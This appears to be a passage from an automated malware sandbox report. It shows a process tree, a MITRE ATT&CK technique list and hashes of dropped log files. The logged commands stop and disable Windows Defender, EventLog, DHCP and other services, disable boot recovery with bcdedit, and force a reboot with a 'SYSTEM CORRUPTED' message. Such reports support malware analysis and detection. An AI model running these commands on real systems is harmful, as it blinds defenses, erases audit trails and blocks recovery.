    3⤵
    - Launches sc.exe
    PID:936
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop Dhcp /y
  2⤵
  PID:2592
- - C:\Windows\system32\net.exe
    net stop Dhcp /y
    3⤵
    PID:4984
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop Dhcp /y
      4⤵
      PID:6092
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config Dhcp start= disabled
  2⤵
  PID:4324
- - C:\Windows\system32\sc.exe
    sc config Dhcp start= disabled
    3⤵
    - Launches sc.exe
    PID:4484
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop lmhosts /y
  2⤵
  PID:3764
- - C:\Windows\system32\net.exe
    net stop lmhosts /y
    3⤵
    PID:5740
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop lmhosts /y
      4⤵
      PID:3408
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config lmhosts start= disabled
  2⤵
  PID:1524
- - C:\Windows\system32\sc.exe
    sc config lmhosts start= disabled
    3⤵
    - Launches sc.exe
    PID:2300
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop DPS /y
  2⤵
  PID:760
- - C:\Windows\system32\net.exe
    net stop DPS /y
    3⤵
    PID:1464
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop DPS /y
      4⤵
      PID:1916
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config DPS start= disabled
  2⤵
  PID:4828
- - C:\Windows\system32\sc.exe
    sc config DPS start= disabled
    3⤵
    - Launches sc.exe
    PID:4364
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop W32Time /y
  2⤵
  - System Time Discovery
  PID:1616
- - C:\Windows\system32\net.exe
    net stop W32Time /y
    3⤵
    - System Time Discovery
    PID:6004
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop W32Time /y
      4⤵
      System Time Discovery
      PID:4564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config W32Time start= disabled
  2⤵
  PID:5984
- - C:\Windows\system32\sc.exe
    sc config W32Time start= disabled
    3⤵
    - Launches sc.exe
    PID:5336
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop EventLog /y
  2⤵
  PID:252
- - C:\Windows\system32\net.exe
    net stop EventLog /y
    3⤵
    PID:3400
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop EventLog /y
      4⤵
      PID:4072
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config EventLog start= disabled
  2⤵
  PID:1136
- - C:\Windows\system32\sc.exe
    sc config EventLog start= disabled
    3⤵
    - Launches sc.exe
    PID:5564
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop WinDefend /y
  2⤵
  PID:3040
- - C:\Windows\system32\net.exe
    net stop WinDefend /y
    3⤵
    PID:3176
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop WinDefend /y
      4⤵
      PID:3372
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config WinDefend start= disabled
  2⤵
  PID:2976
- - C:\Windows\system32\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    PID:2524
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c net stop MsMpSvc /y
  2⤵
  PID:3684
- - C:\Windows\system32\net.exe
    net stop MsMpSvc /y
    3⤵
    PID:2868
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 stop MsMpSvc /y
      4⤵
      PID:4528
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c sc config MsMpSvc start= disabled
  2⤵
  PID:4532
- - C:\Windows\system32\sc.exe
    sc config MsMpSvc start= disabled
    3⤵
    - Launches sc.exe
    PID:3836
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  PID:1164
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4416
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:4688
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1716
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c shutdown /r /f /t 5 /c "SYSTEM CORRUPTED - ALL DRIVERS REMOVED"
  2⤵
  PID:1008
- - C:\Windows\system32\shutdown.exe
    shutdown /r /f /t 5 /c "SYSTEM CORRUPTED - ALL DRIVERS REMOVED"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:3912

C:\Windows\System32\PickerHost.exe
C:\Windows\System32\PickerHost.exe -Embedding
1⤵
- Suspicious use of SetWindowsHookEx
PID:4572

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39f7055 /state1:0x41c64e6d
1⤵
- Modifies data under HKEY_USERS
- Suspicious use of SetWindowsHookEx
PID:5020

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:3216

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

dism.log

Path C:\Windows\Logs\DISM\dism.log
Size 285KB
SHA256 b577145c124094ba9beb51390aaef1f02e8ca5a1a808730faa5e48bc387f0d57
MD5 2b5205a62822ab08620b0da11c041f5f
SHA1 6bd70a67bbe50d514bdfb8705861b7374608860d
SHA512 1f3a875cdc502fccc56c960fa3043e77299adcb41b092926b1b3926718385d217ef708ffa753a928567b274c26c51091d3346d1cdced24bcb6e2fdbefb271d51
SSDEEP 3072:G1UZUDBE5El09+NnfqY7UVm8QsUwFE3g2rIxmjAmyZOrGTP//pT+xm:gm
TLSH
T1C454F15E07AB0DB193498403717A9EF962D7B882B7C8F314372FD2A977C2586CB5E190
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

dism.log

Path C:\Windows\Logs\DISM\dism.log
Size 288KB
SHA256 a3cc1f7f2393fd11f00296d5214bc89c1293d6832e40b97e118cc60d494a4162
MD5 b36b96ba398c199fb01a05b878440a2e
SHA1 453b409794cf12b9621fa2c3446233694263a10f
SHA512 60136b376cb3e44c10d1a2bd7f715502cbe8094420469920617d82253d2b3edb1a9941ca365fdbe77420bcc0956ac2b5162e3831d6ef6e8fb083b4063a4fdcf9
SSDEEP 3072:G1UZUDBE5El09+NnfqY7UVm8QsUwFE3g2rIxmjAmyZOrGTP//pT+xZ:gZ
TLSH
T10854F15E07AB0DB193498403717A9EF962D7B882B7C8F314372FD2A977C2586CB5E190
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads